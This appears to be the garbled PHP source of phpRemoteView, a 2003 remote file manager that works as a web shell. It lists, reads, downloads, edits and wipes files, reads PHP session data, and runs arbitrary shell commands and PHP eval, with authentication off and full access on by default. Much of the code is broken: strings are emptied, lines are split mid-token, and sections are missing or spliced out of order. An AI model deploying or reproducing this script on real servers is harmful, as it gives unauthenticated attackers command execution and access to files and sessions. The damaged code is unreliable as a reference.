Beruflich Dokumente
Kultur Dokumente
php
/*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
Welcome to phpRemoteView (RemView)
View/Edit remove file system:
- view index of directory (/var/log - view logs, /tmp - view PHP sessions)
- view name, size, owner:group, perms, modify time of files
- view html/txt/image/session files
- download any file and open on Notepad
- create/edit/delete file/dirs
- executing any shell commands and any PHP-code
Free download from http://php.spb.ru/remview/
Version 04c, 2003-10-23.
Please, report bugs...
This programm for Unix/Windows system and PHP4 (or higest).
(c) Dmitry Borodin, dima@php.spb.ru, http://php.spb.ru
* * * * * * * * * * * * * * * * WHATS NEW * * * * * * * * * * * * * * * *
--version4-2003.10.23 support short <?php ?> tags, thanks A.Voropay
2003.04.22 read first 64Kb of null-size file (example: /etc/zero),
thanks Anight
add many functions/converts: md5, decode md5 (pass crack),
date/time, base64, translit, russian charsets
fix bug: read session files
2002.08.24 new design and images
many colums in panel
sort & setup panel
dir tree
base64 encoding
character map
HTTP authentication with login/pass
IP-address authentication with allow hosts
--version3-2002.08.10 add multi language support (english and russian)
some update
2002.08.05 new: full windows support
fix some bugs, thanks Jeremy Flinston
2002.07.31 add file upload for create files
add 'direcrory commands'
view full info after safe_mode errors
fixed problem with register_glogals=off in php.ini
fixed problem with magic quotes in php.ini (auto strip slashes)
--version2-2002.01.20 add
add
add
add
*
* 2002.01.19 add delete/touch/clean/wipe file
*
add panel 'INFO', view a/c/m-time, hexdump view
*
add session file view mode (link 'SESSION').
*
* 2002.01.12 first version!
*
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
///////////////////////////////// S E T U P ///////////////////////////////////
$version="2003-10-23";
$hexdump_lines=8;
$hexdump_rows=24;
$mkdir_mode=0755;
$maxsize_fread=65536;
// USER ACCESS //
$write_access=true;
$phpeval_access=true;
$system_access=true;
// AUTHORIZATION //
$login=false;
$pass=false;
/*
$cc / $cp[0]- , $cs:
$cc[0] - , :
n -
e -
$cc[1] - (0 - . 1 - )
$cc[2] -
$cc[3] - :
0 - text/plain
1 - html
2 - download
3 - (info)
$cc[4] - //
$cc[5] - :
1 -
2 -
$cn / $cp[1] - , , /:
t - type
n - name
s - size
a - owner+group
o - owner
g - group
c - chmod
1 - create time
2 - modify time
3 - access time
$cp[2]:
$cp[3]:
$cp[4]:
*/
//
$cn_align=array();
$cn_align['t']='center';
$cn_align['n']='left';
$cn_align['s']='right';
$cn_align['a']='center';
$cn_align['o']='center';
$cn_align['g']='center';
$cn_align['c']='center';
$cn_align['1']='center';
$cn_align['2']='center';
$cn_align['3']='center';
///////////////////////////////////////////////////////////////////////////////
/*--mmstart--*/
$mm=array(
"Index of"=>"",
"View file"=>" ",
"DISK"=>"",
"Info"=>"",
"Plain"=>"",
"HTML"=>"HTML",
"Session"=>"",
"Image"=>"",
"Notepad"=>"",
"DOWNLOAD"=>"",
"Edit"=>"",
"Sorry, this programm run in read-only mode."=>", '
"For full access: write"=>" : ",
"in this php-file"=>" php-",
"Reason"=>"",
"Error path"=>" ",
"Click here for start"=>" ",
"up directory"=>" ",
"access denied"=>" ",
"REMVIEW TOOLS"=>" REMVIEW",
"version"=>"",
"Free download"=>" ",
"back to directory"=>" ",
"Size"=>"",
"Owner"=>"",
"Group"=>"",
"FileType"=>" ",
"Perms"=>"",
"Create time"=>" ",
"Access time"=>" ",
"MODIFY time"=>" ",
"HEXDUMP PREVIEW"=>" 16- ",
"ONLY READ ACCESS"=>" ",
"Can't READ file - access denied"=>" - ",
"full read/write access"=>" /",
"FILE SYSTEM COMMANDS"=>" ",
"EDIT"=>".",
"FILE"=>"",
"DELETE"=>"",
"Delete this file"=>" ",
"CLEAN"=>"",
"TOUCH"=>"",
"Set current 'mtime'"=>"..",
"WIPE(delete)"=>"",
"Write '0000..' and delete"=>" , ",
"COPY FILE"=>" ",
"COPY"=>"",
"MAKE DIR"=>" ",
"type full path"=>" ",
"MkDir"=>"..",
"CREATE NEW FILE or override old file"=>" ",
"CREATE/OVERRIDE"=>"/",
"select file on your local computer"=>" ",
"save this file on path"=>" ",
"create file name automatic"=>" ",
"OR"=>"",
"type any file name"=>" ",
"convert file name to lovercase"=>" ",
"Send File"=>" ",
"Delete all files in dir"=>" ",
"Delete all dir/files recursive"=>" + ",
"Confirm not found (go back and set checkbox)"=>" (
"Delete cancel - File not found"=>" - ",
"YES"=>"",
"ME"=>"",
"NO (back)"=>" ()",
"Delete cancel"=>" ",
"ACCESS DENIED"=>" ",
"done (go back)"=>" ()",
"Delete ok"=>", ",
"Touch cancel"=>" ",
"Touch ok (set current time to 'modify time')"=>" (
"Clean (empty file) cancel"=>" ( ) ",
"Clean ok (file now empty)"=>", ( )",
"Wipe cancel - access denied"=>" - ",
"Wipe ok (file deleted)"=>", ( )",
"DIR"=>"DIR",
"Deleting all files in"=>" ",
"skip"=>"",
"deleting"=>"",
"Deleting all dir/files (recursive) in"=>" / ()",
"DONE, go back"=>", ",
"DONE"=>"",
"file not found"=>" ",
"ONLY READ ACCESS (don't edit!)"=>" ( )",
"Can't READ file - access denied (don't edit!)"=>" - ",
"EDIT FILE"=>" ",
"can't open, access denied"=>" , ",
"SAVE FILE (write to disk)"=>" ( )",
"You mast checked 'create file name automatic' OR typed file name!"=>"
"SAVING TO"=>" ",
"Sorry, access denied"=>", ",
"for example, uncomment next line"=>" , ",
"Eval PHP code"=>" PHP ",
"don't type"=>" ",
"and"=>"",
"example (remove comments '#')"=>" ( '#')",
"Shell commands"=>" Shell'a",
"filesize to 0byte"=>" 0 ",
"from"=>"",
"to"=>"",
"Full file name"=>" ",
"Can't open directory"=>" ",
"setup"=>"",
"back"=>"",
"Reset all settings"=>" ",
"clear"=>"",
"Current"=>"",
"Colums and sort"=>" ",
"Sort order"=>" ",
"Ascending sort"=>" ",
"Descending sort"=>" ",
"Sort by filename"=>" ",
"Sort by filename extension"=>" ",
"Date/time format"=>" /",
"Panel font & size"=>"/ ",
"Setup"=>"",
"Char map"=>"",
"Language"=>"",
"English"=>"",
"Russian"=>"",
"Character map (symbol codes table)"=>" ",
"Select font"=>" ",
$language=$cc[5];
if ($language!=1 && $language!=2) $language=1;
function mm($m) {
global $mm,$language;
if ($language==1) return $m;
if (isset($mm[$m])) return $mm[$m];
else echo "<script>alert('(mm) msg not found: $m');</script>";
}
switch ($language) {
case 1:
$cn_name=array(
't'=>"Type",
'n'=>"Name",
's'=>"Size",
'o'=>"Owner",
'g'=>"Group",
'a'=>"Owner/Group",
'c'=>"Perms",
'1'=>"Create",
'2'=>"Modify",
'3'=>"Access"
);
break;
case 2:
$cn_name=array(
't'=>"",
'n'=>"",
's'=>"",
'o'=>"",
'g'=>"",
'a'=>"/",
'c'=>"",
'1'=>"",
'2'=>"",
'3'=>""
);
break;
}
///////////////////////////////////////////////////////////////////////////////
$rand=microtime();
if (!isset($c)) $c="";
if (!isset($d)) $d="";
if (!isset($f)) $f="";
ob();
$d=str_replace("\\","/",$d);
if ($d=="") $d=realpath("./")."/";
if ($c=="") $c="l";
if ($d[strlen($d)-1]!="/") $d.="/";
$d=str_replace("\\","/",$d);
if (!is_dir($d)) obb().die("<h3><P>".mm("Can't open directory")." <tt><font c
olor=red><big>$d</big></font></tt>$obb");
if (!realpath($d) || filetype($d)!="dir") obb().die("error dir type $obb");
obb();
//
// OS detect:
//
$win=0;
$unix=0;
if (strlen($d)>1 && $d[1]==":") $win=1; else $unix=1;
///////////////////////////////////////////////////////////////////////////////
$html=<<<remview
<html><head>
<title>phpRemoteView: $d$f</title>
</head>
<body>
<style>
A {
text-decoration : none;
}
.t {
font-size: 9pt;
text-align : center;
font-family: Verdana;
}
.t2 {
font-size: 8pt;
text-align : center;
font-family: Verdana;
}
.n {
font-family: Fixedsys
}
.s {
font-size: 10pt;
text-align : right;
font-family: Verdana;
}
.sy {
font-family: Fixedsys;
}
.s2 {
font-family: Fixedsys;
color: red;
}
.tab {
font-size: 10pt;
text-align : center;
font-family: Verdana;
background: #cccccc;
}
.tr {
background: #ffffff;
}
</style>
remview;
function display_perms($mode)
{
if ($GLOBALS['win']) return 0;
/* Determine Type */
if( $mode & 0x1000 )
$type='p'; /* FIFO pipe */
else if( $mode & 0x2000 )
$type='c'; /* Character special */
else if( $mode & 0x4000 )
$type='d'; /* Directory */
else if( $mode & 0x6000 )
$type='b'; /* Block special */
else if( $mode & 0x8000 )
$type='-'; /* Regular */
else if( $mode & 0xA000 )
$type='l'; /* Symbolic Link */
else if( $mode & 0xC000 )
$type='s'; /* Socket */
else
$type='u'; /* UNKNOWN */
/* Determine permissions */
$owner["read"] = ($mode & 00400) ? 'r' : '-';
$owner["write"] = ($mode & 00200) ? 'w' : '-';
$owner["execute"] = ($mode & 00100) ? 'x' : '-';
$group["read"] = ($mode & 00040) ? 'r' : '-';
$group["write"] = ($mode & 00020) ? 'w' : '-';
$group["execute"] = ($mode & 00010) ? 'x' : '-';
$world["read"] = ($mode & 00004) ? 'r' : '-';
$world["write"] = ($mode & 00002) ? 'w' : '-';
$world["execute"] = ($mode & 00001) ? 'x' : '-';
/* Adjust for SUID,
if( $mode & 0x800 )
$owner["execute"] =
if( $mode & 0x400 )
$group["execute"] =
if( $mode & 0x200 )
$world["execute"] =
$s=sprintf("%1s", $type);
$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
function ob() {
global $obb_flag, $obb;
if (!isset($obb_flag)) { $obb_flag=0; $obb=false; }
if (function_exists("ob_start")) {
if ($GLOBALS['obb_flag']) ob_end_clean();
ob_start();
$GLOBALS['obb_flag']=1;
}
}
function obb() {
global $obb;
if (function_exists("ob_start")) {
$obb=ob_get_contents();
ob_end_clean();
$obb="<P>
<table bgcolor=#ff0000 width=100% border=0 cellspacing=1 cellpadding=0><tr><td>
<table bgcolor=#ccccff width=100% border=0 cellspacing=0 cellpadding=3><tr><td a
lign=center>
<b>".mm("Reason").":</b></td></tr></table>
</td></tr><tr><td>
<table bgcolor=#ffcccc width=100% border=0 cellspacing=0 cellpadding=3><tr><td>
$obb<P>
</td></tr></table>
</table><P>";
$GLOBALS['obb_flag']=0;
}
}
function sizeparse($size) {
return strrev(preg_replace("!...!","\\0 ",strrev($size)));
}
function jsval($msg) {
$msg=str_replace("\\","\\\\",$msg);
$msg=str_replace("\"","\\\"",$msg);
$msg=str_replace("'","\\'",$msg);
return '"'.$msg.'",';
}
///////////////////////////////////////////////////////////////////////////
switch($c) {
// listing
case "l":
echo $GLOBALS['html'];
if (!realpath($d)) die("".mm("Error path").". <a href=$self>".mm("Click here
for start")."</a>.");
//up($d);
ob();
$di=dir($d);
obb();
$dirs=array();
$files=array();
if (!$di) exit("<a href=$self?&c=l&d=".urlencode(realpath($d."..")).
"><nobr><<< <b>".mm("up directory")."</b> >>></nobr></a>
<p>".
"<font color=red><b>".mm("access denied")."</b></font>: $obb");
while (false!==($name=$di->read())) {
if ($name=="." || $name=="..") continue;
if (@is_dir($d.$name)) {
$dirs[]=strval($name);
$fstatus[$name]=0;
}
else {
$files[]=strval($name);
$fstatus[$name]=1;
}
$fsize[$name]=@filesize($d.$name);
$ftype[$name]=@filetype($d.$name);
if (!is_int($fsize[$name])) { $ftype[$name]='?'; $fstatus[$name]=1; }
$fperms[$name]=@fileperms($d.$name);
$fmtime[$name]=@filemtime($d.$name);
$fatime[$name]=@fileatime($d.$name);
$fctime[$name]=@filectime($d.$name);
$fowner[$name]=@fileowner($d.$name);
$fgroup[$name]=@filegroup($d.$name);
if (preg_match("!^[^.].*\.([^.]+)$!",$name,$ok))
$fext[$name]=strtolower($ok[1]);
else
$fext[$name]="";
}
$di->close();
$listsort=array();
if (count($dirs))
foreach ($dirs as $v) {
switch ($cc[0]) {
case "e": $listsort[$v]=$fext[$v].' '.$v; break;
case "n": $listsort[$v]=strtolower($v); break;
default:
switch ($cn[$cc[0]]) {
case "t": case "s": case "n": $listsort[$v]=strtolower($v); brea
k;
case
case
case
case
case
case
case
"o":
"g":
"a":
"c":
"1":
"2":
"3":
$listsort[$v]=$fowner[$v];
$listsort[$v]=$fgroup[$v];
$listsort[$v]="$fowner[$v]
$listsort[$v]=$fperms[$v];
$listsort[$v]=$fctime[$v];
$listsort[$v]=$fmtime[$v];
$listsort[$v]=$fatime[$v];
break;
break;
$fgroup[$v]"; break;
break;
break;
break;
break;
}
}
}
$names=$listsort;
//echo "<pre>";print_r($names);
if ($cc[1]) arsort($names); else asort($names);
//echo "<pre>";print_r($names);
$listsort=array();
if (count($files))
foreach ($files as $v) {
$v=strval($v);
switch ($cc[0]) {
case "e": $listsort[$v]=$fext[$v].' '.$v; break;
case "n": $listsort[$v]=strtolower($v); break;
default:
switch ($cn[$cc[0]]) {
case
case
case
case
case
case
case
case
case
case
"n":
"t":
"s":
"o":
"g":
"a":
"c":
"1":
"2":
"3":
$listsort[$v]=strtolower($v); break;
$listsort[$v]=$ftype[$v]; break;
$listsort[$v]=$fsize[$v]; break;
$listsort[$v]=$fowner[$v]; break;
$listsort[$v]=$fgroup[$v]; break;
$listsort[$v]="$fowner[$v] $fgroup[$v]"; break;
$listsort[$v]=$fperms[$v]; break;
$listsort[$v]=$fctime[$v]; break;
$listsort[$v]=$fmtime[$v]; break;
$listsort[$v]=$fatime[$v]; break;
}
}
}
//echo "<pre>DIRS:"; print_r($names);
if ($cc[1]) arsort($listsort); else asort($listsort);
//$names=array_merge($names,$listsort);
foreach ($listsort as $k=>$v) $names[$k]=$v;
//echo "<pre>FILES:"; print_r($listsort);
//echo "<pre>NAMES:"; print_r($names);
?>
<STYLE>
.title {
color: 'black';
background: #D4D0C8;
text-align: 'center';
BORDER-RIGHT: #888888 1px outset;
BORDER-TOP:
#ffffff 2px outset;
BORDER-LEFT:
#ffffff 1px outset;
BORDER-BOTTOM: #888888 1px outset;
}
.window {
BORDER-RIGHT: buttonhighlight 2px outset;
BORDER-TOP:
buttonhighlight 2px outset;
BORDER-LEFT: buttonhighlight 2px outset;
BORDER-BOTTOM: buttonhighlight 2px outset;
FONT: 8pt Tahoma, Verdana, Geneva, Arial, Helvetica, sans-serif;
BACKGROUND-COLOR: #D4D0C8;
CURSOR: default;
}
.window1 {
BORDER-RIGHT: #eeeeee 1px solid;
BORDER-TOP:
#808080 1px solid;
BORDER-LEFT: #808080 1px solid;
BORDER-BOTTOM: #eeeeee 1px solid;
FONT: 8pt Tahoma, Verdana, Geneva, Arial, Helvetica, sans-serif;
}
.line {
BORDER-RIGHT: #cccccc 1px solid;
BORDER-TOP:
#ffffff 1px solid;
BORDER-LEFT:
#ffffff 1px solid;
BORDER-BOTTOM: #cccccc 1px solid;
font: <?php echo $cp[4]; ?>pt <?php echo $cp[3]; ?>;
}
.line2 {
background: #ffffcc;
}
else
if ($i==0) $out.=strtoupper($n[$i]); else $out.=$n[$i];
$out.="/</a>";
}
return $out;
return "<font size=-2>$d</font>";
}
$ext=array();
$ext['html']=array('html','htm','shtml');
$ext['txt']=array('txt','ini','conf','','bat','sh','tcl','js','bak','doc','log',
'sfc','c','cpp','h','cfg');
$ext['exe']=array('exe','com','pif','src','lnk');
$ext['php']=array('php','phtml','php3','php4','inc');
$ext['img']=array('gif','png','jpeg','jpg','jpe','bmp','ico','tif','tiff','avi',
'mpg','mpeg');
echo "\n\n\n<script>\nfunction tr(";
for ($i=0; $i<strlen($cn); $i++) {
echo "a$i,";
}
echo "x) {\ndocument.write(\"<tr bgcolor=#eeeeee";
// echo " onMouseOver='this.style.value=\\\"line2\\\"' onMouseOut='this.style.
value=\\\"line\\\"'>";
echo " onMouseOver='this.style.backgroundColor=\\\"#FFFFCC\\\"' onMouseOut='t
his.style.backgroundColor=\\\"\\\"'>";
for ($i=0; $i<strlen($cn); $i++) {
echo '<td align='.$cn_align[$cn[$i]].' class=line ';
switch ($cn[$i]) {
case 's': case 'c': case '1': case '2': case '3': case 't':
echo ' nowrap';
}
echo ">";
if ($cn[$i]!='t' && $cn[$i]!='n') echo "\xA0";
echo "\"+a$i+\"";
if ($cn[$i]!='t' && $cn[$i]!='n') echo "\xA0";
echo "</td>";
}
echo "</tr>\");\n}";
echo "\n\n</script>\n\n\n";
//phpinfo();
//echo implode(" | ",$cp);
echo '<table border=0 cellspacing=2 cellpadding=0 bgcolor=#cccccc
class=window align=center width=60%><form name=main>';
echo '<tr><td colspan='.strlen($cn).' bgcolor=#0A246A background="'.
$self.'?c=img&name=fon&r=" class=windowtitle>';
echo '<table width=100% border=0 cellspacing=0 cellpadding=2 class=wind
owtitle><tr><td>'.
'<a href='.$self.'><img src='.$self.'?c=img&name=dir border=0></a>'.
up2($d.$f).'</td></tr></table>';
echo '</td></tr>'.
'<tr><td>'.
}
}
echo '<td colspan='.strlen($cn).'>
<table border=0 cellspacing=0 cellpadding=2><tr>';
$buttons=array('back','up','refresh','edit','mode','disk','full','papki','set
up','home');
$tmp=strtoupper($d[0]);
for ($i=0; $i<count($buttons); $i++) {
if ($buttons[$i]=='full') {
echo '<td class=window width=90% align=center nowrap><font color=#99999
9 face="Arial Black"
style="font-size: 11pt;"><?php<u>R</u>emote<u>V</u>iew?></font></
td>';
continue;
}
if ($buttons[$i]=='disk') {
if (!$win) continue;
echo '<td width=1% title=\'Select dist\' class=window onMouseOver="this
.style.backgroundColor=\'#eeee88\'" '.
' onMouseOut="this.style.backgroundColor=\'\'">';
echo "<select name=disk size=1; style='font: 9pt Arial Black; color: #9
99999 '
onChange='location.href=\"$self?c=l&d=\"+document.main.disk.options[doc
ument.main.disk.selectedIndex].value+\":/\"'>";
for ($j=ord('A'); $j<=ord('Z'); $j++)
echo '<option value="'.chr($j).'"'.(chr($j)==$tmp?" selected":"").'>
'.chr($j);
echo "</select></td>";
continue;
}
$bturl=button_url($buttons[$i]);
echo '<td width=1% title=\''.$button_help[$buttons[$i]].'\' class=window'.
' onMouseMove="this.style.backgroundColor=\'#eeee88\';window.status=\
'** '.$button_help[$buttons[$i]].' ** '.$bturl.'\'"'.
' onMouseOut="this.style.backgroundColor=\'\';window.status=\'\'"'.
if ($ftype[$k]=='dir')
$ln.='<img src='.$self.'?c=img&name=dir border=0>';
else {
$found=0;
foreach ($ext as $kk=>$vv) {
if (in_array(strtolower($fext[$k]),$vv)) {
$ln.='<img src='.$self.'?c=img&name='.$kk.' border=0>';
$found=1;
break;
}
}
if (!$found)
$ln.='<img src='.$self.'?c=img&name=unk border=0>';
}
$ln.=substr($k,0,48).'</a>';
echo jsval($ln);
break;
case "t":
switch ($ftype[$k]) {
case "dir":
echo jsval("<a href=$self?c=d&d=".urlencode($d.$k).">DIR</a>")
;
break;
case "file":
echo jsval("<a href=$self/".urlencode($k)."?&c=v&fnot=1&ftype=
3&d=".
urlencode($d)."&f=".urlencode($k)." class=sym>\xF2</a> ".
"<a href=$self?&c=i&d=".urlencode($d)."&f=".urlencode($k)."
class=sym>\xF0</a>");
break;
case "link":
echo jsval("<font class=t>—></font>");
break;
default:
echo jsval("??");
break;
}
break;
case "s":
if ($ftype[$k]=='file') echo jsval(sizeparse($fsize[$k]));
else echo jsval('');
break;
case "o":
$tmp=@_posix_getpwuid($fowner[$k]);
if (!isset($tmp['name']) || $tmp['name']=="") $tow=$fowner[$k];
else $tow=$tmp['name'];
echo jsval($tow);
break;
case "g":
$tmp2=@_posix_getgrgid($fgroup[$k]);
if (!isset($tmp2['name']) || $tmp2['name']=="") $tgr=$fgroup[$k];
else $tgr=$tmp2['name'];
echo jsval($tgr);
break;
case "a":
$tmp=@_posix_getpwuid($fowner[$k]);
if (!isset($tmp['name']) || $tmp['name']=="") $tow=$fowner[$k];
else $tow=$tmp['name'];
$tmp2=@_posix_getgrgid($fgroup[$k]);
if (!isset($tmp2['name']) || $tmp2['name']=="") $tgr=$fgroup[$k];
else $tgr=$tmp2['name'];
echo jsval("$tow/$tgr");
break;
case "c":
echo jsval(display_perms($fperms[$k])); break;
case "1": echo jsval(date($cp[2],$fctime[$k])); break;
case "2": echo jsval(date($cp[2],$fmtime[$k])); break;
case "3": echo jsval(date($cp[2],$fatime[$k])); break;
default: echo "??$cn[$i]??";
} //switch ($ftype)
}//for ($cn)
echo "0);\n";
}//foreach ($names)
echo "\n\n</script>\n\n\n";
echo '</td></tr></table></td></tr></table></td></tr></table>';
echo "<P align=center>
<font size=1 style='Font: 8pt Verdana'><B>
<a href=$self?c=setup&ref=$uurl>".mm("Setup")."</a> |
<a href=$self?c=t>PHP eval</a> |
<a href=$self?c=phpinfo>phpinfo()</a> |
<a href=$self?c=t>Shell</a> |
<a href=$self?c=codes>".mm("Char map")."</a> |
".mm("Language").":
<a href=$self?c=set&c2=eng&ref=$uurl&pan=0>".mm("English")."</a>/<a href=$sel
f?c=set&c2=rus&ref=$uurl&pan=0>".mm("Russian")."</a>
</b>
<hr size=1 noshade width=55%><center>
<table border=0 cellspacing=0 cellpadding=0><tr><td width=32>
<font face=webdings style='Font-size: 22pt;'>!</font></td><td>
<font size=1 style='Font: 8pt Verdana'>phpRemoteView © Dmitry Borodin ("
.mm("version")." $version)<br>
".mm("Free download")." - <a href='http://php.spb.ru/remview/'>http://php.spb
.ru/remview/</a></b></font></td>
</tr></table>";
break;
case "set":
switch ($c2) {
case "sort":
$name=intval($name);
if ($name==$cc[0]) if ($cc[1]==='0') $cc[1]='1'; else $cc[1]='0';
$cc[0]=$name;
break;
case "panel":
$cn='';
foreach ($names as $k=>$v) {
if ($v!="") $cn.=substr($v,0,1);
}
$cc[0]=substr($sort,0,1);
$cc[1]=substr($sortby,0,1);
$cp[2]=substr($datetime,0,50);
$cp[3]=substr($fontname,0,50);
$cp[4]=substr($fontsize,0,50);
//exit("cn=$cn<br>cc=$cc");
break;
case "eng":
$cc[5]=1;
break;
case "rus":
$cc[5]=2;
break;
}
$cookie=$cc."~".$cn."~".$cp[2]."~".$cp[3]."~".$cp[4];
if ($c2=="reset") $cookie=implode("~",$cp_def);
//echo "<script>alert('$cookie')</script>";
setcookie("cp$pan",$cookie,time()+24*60*60*333,'/');
header("Location: $ref");
echo "<script>location.href=\"$ref\";</script>";
//echo "[$ref]";
//phpinfo();
break;
case "setup":
echo $GLOBALS['html'];
echo "<center><h3><b>phpRemoteView ".mm("setup")."</b> [<A href='javascript:h
istory.go(-1)'>".mm("back")."</a>]</h3></center><hr size=1 noshade>";
echo "<STYLE>
.setup {
font-size: 8pt;
font-family: Tahoma;
}
HTML, TD {font: 90%}
</STYLE>";
echo "
<b><u>".mm("Reset all settings")."</u></b>: <a href=$self?c=set&c2=reset&pan=
$panel&ref=$ref>".mm("clear")."</a>";
echo " <font color=white>(".mm("Current").": <small>".implode(" | ",$cp)."</s
mall>)</font><P>";
echo "
<form action=$self method=post>
<input type=hidden name=c value=\"set\">
<input type=hidden name=c2 value=\"panel\">
<input type=hidden name=pan value=\"$panel\">
<input type=hidden name=ref value=\"$ref\">
";
echo "<b><u>".mm("Colums and sort")."</u></b><br>";
echo
echo
).">";
echo
echo
).">";
echo
// view
case "v":
if (!isset($fnot)) $fnot=0;
if (!isset($ftype)) $ftype=0;
if ($fnot==0) {
echo $GLOBALS['html'];
up($d,$f);
echo "<a href=$self?&c=l&d=".urlencode($d)."><nobr><<<<b>".mm("ba
ck to directory")."</b> >>></nobr></a>";
up_link($d,$f);
echo "<hr size=1 noshade>";
}
if (!realpath($d.$f) || !file_exists($d.$f)) exit("".mm("file not found")."")
;
if (!is_file($d.$f) || !$fi=@fopen($d.$f,"rb")) exit("<p><font color=red><b>"
.mm("access denied")."</b></font>");
if ($ftype==0 || $ftype==4) {
$buf=fread($fi,max(filesize($d.$f),$maxsize_fread));
fclose($fi);
}
switch ($ftype) {
case 0:
echo "<pre>".htmlspecialchars($buf)."</pre>";
break;
case 1:
readfile($d.$f);
break;
case 2:
header("Content-type: image/gif");
readfile($d.$f);
break;
case 3: // download
if (isset($fatt) && strlen($fatt)>0) {
$attach=$fatt;
header("Content-type: text/plain");
}
else {
$attach=$f;
header("Content-type: phpspbru");
}
header("Content-disposition: attachment; filename=\"$attach\";");
readfile($d.$f);
break;
case 4: // session
echo "<xmp>";
if (substr($f,0,5)=="sess_" && preg_match("!^sess_([a-z0-9]{32})$!i",$f,$o
k)) {
ini_set("session.save_path",$d);
session_id($ok[1]);
session_start();
print_r($HTTP_SESSION_VARS);
}
else {
print_r(unserialize($buf));
}
echo "</xmp>";//<hr size=1 noshade><xmp>";
break;
}
break;
$fi=@fopen($d.$f,"rb");
if ($fi) {
$str=fread($fi,$hexdump_lines*$hexdump_rows);
echo "<b>".mm("HEXDUMP PREVIEW")."</b>";
$n=0;
$a0="00000000<br>";
$a1="";
$a2="";
for ($i=0; $i<strlen($str); $i++) {
$a1.=sprintf("%02X",ord($str[$i])).' ';
switch (ord($str[$i])) {
case 0: $a2.="<font class=s2>0</font>"; break;
case 32:
case 10:
case 13: $a2.=" "; break;
default: $a2.=htmlspecialchars($str[$i]);
}
$n++;
if ($n==$hexdump_rows) {
$n=0;
if ($i+1<strlen($str)) $a0.=sprintf("%08X",$i+1)."<br>";
$a1.="<br>";
$a2.="<br>";
}
}
//if ($a1!="") $a0.=sprintf("%08X",$i)."<br>";
echo "<table border=0 bgcolor=#cccccc cellspacing=1 cellpadding=4 ".
"class=sy><tr><td bgcolor=#e0e0e0>$a0</td><td bgcolor=white>".
"$a1</td><td bgcolor=white>$a2</td></tr></table><p>";
}
echo "<b>Base64: </b>
<nobr>[<a href=$self?c=base64&c2=0&d=".urlencode($d)."&f=".urlencode($f).">En
code</a>] </nobr>
<nobr>[<a href=$self?c=base64&c2=1&d=".urlencode($d)."&f=".urlencode($f).">+c
hunk</a>] </nobr>
<nobr>[<a href=$self?c=base64&c2=2&d=".urlencode($d)."&f=".urlencode($f).">+c
hunk+quotes</a>] </nobr>
<nobr>[<a href=$self?c=base64&c2=3&d=".urlencode($d)."&f=".urlencode($f).">De
code</a>] </nobr>
<P>";
if (!$write_access) exitw();
$msg="";
if (!is_file($d.$f) || !$fi=@fopen($d.$f,"r+")) $msg=" (<font color=red><b>".
mm("ONLY READ ACCESS")."</b></font>)";
else fclose($fi);
if (!is_file($d.$f) || !$fi=@fopen($d.$f,"r")) $msg=" (<font color=red><b>".m
m("Can't READ file - access denied")."</b></font>)";
else fclose($fi);
if ($msg=="") $msg=" (".mm("full read/write access").")";
echo "<b>".mm("FILE SYSTEM COMMANDS")."$msg</b><p>";
echo "
<table border=0 cellspacing=0 cellpadding=0><tr>
if (!$write_access) exitw();
echo "<b>".mm("FILE SYSTEM COMMANDS")."</b><p>";
echo "
<table border=0 cellspacing=0 cellpadding=0><tr>
<td><form action=$self method=post>
<input type=hidden name=c value=dirdelete>
<input type=hidden name=c2 value=files>
<input type=hidden name=d value=\"".htmlspecialchars($d)."\">
case "tree":
$tcolors=array(
'eee','ddd','ccc','bbb','aaa','999','888','988','a88','b88','c88','d88','e88','d
98',
'ca8','bb8','ac8','9d8','8e8','8d9','8ca','8bb','8ac','89d','88e');
function dir_tree($df,$level=0) {
global $tcolors,$self;
$df=str_replace("//","/",$df);
$dirs=array();
$files=array();
if ($dir=opendir($df)) {
while (($file=readdir($dir))!==false) {
if ($file=="." || $file=="..") continue;
if (is_dir("$df/$file")) {
$dirs[]=$file;
}
else {
$files[]=$file;
}
}
}
closedir($dir);
sort($dirs);
sort($files);
$i=min($level,count($tcolors)-1);
$c=$tcolors[$i][0].$tcolors[$i][0].$tcolors[$i][1].$tcolors[$i][1].$tcolors[$
i][2].$tcolors[$i][2];
echo "\r\n\r\n\r\n
<table width=100% border=0 cellspacing=2 cellpadding=1><tr><td bgcolor=#00000
0>
<table width=100% border=0 cellspacing=0 cellpadding=1 bgcolor=#$c>
<tr><td colspan=3 class=dir>".
"<a href=$self?c=l&d=".urlencode($df)." class=dir><img src=$self?name=dir&c=i
mg&1 border=0>".
$df."</a></td></tr>";
if (count($dirs) || count($files)) {
echo "<tr><td width=15> </td><td class=all width=97%>";
for ($i=0; $i<count($files); $i++) {
echo $files[$i]." ";
}
for ($i=0; $i<count($dirs); $i++) {
dir_tree($df."/".$dirs[$i],$level+1);
}
echo "</td><td width=10> </td></tr>";
}
echo '</table></td></tr></table>';
}
echo "
<STYLE>
.all {
font-family: Verdana;
font-size: 80%;
}
.dir {
font-family: Verdana;
font-size: 95%;
background: #666699;
font-weight: bold;
color: white
}
</STYLE>";
echo $GLOBALS['html'];
up($d,"","Directory");
echo "<a href=$self?&c=l&d=".urlencode($d)."><nobr><<<<b>".mm("back
to directory")."</b> >>></nobr></a>";
echo "<p>";
dir_tree($d);
break;
case "delete":
if (!$write_access) exitw();
if (!isset($c2)) exit("err# delete 1");
if (!isset($confirm) || strlen($confirm)<3) exit("".mm("Confirm not found (go
back and set checkbox)")."");
echo "<a href=$self?&c=l&d=".urlencode($d)."><nobr><<<<b>".mm("back
to directory")."</b> >>></nobr></a><p>";
if (!isset($d) || !isset($f) || !@file_exists($d.$f) || !@realpath($d.$f))
exit("".mm("Delete cancel - File not found")."");
if (realpath(getenv("SCRIPT_FILENAME"))==$d.$f && !isset($delete_remview_conf
irm))
exit(mm("Do you want delete this script (phpRemoteView) ???")."<br><br><br
><br>
<a href='$self?c=delete&c2=$c2&confirm=delete&d=".urlencode($d)."&f=".urle
ncode($f)."&delete_remview_confirm=YES'>[".mm("YES").", ".mm("DELETE")." <b>".mm
("ME")."</b>]</a>
<a href='javascript:history.back(-1)'>[".mm("NO (back)")."]</a>");
switch ($c2) {
case "delete":
//exit("$d $f");
ob();
if (!unlink($d.$f))
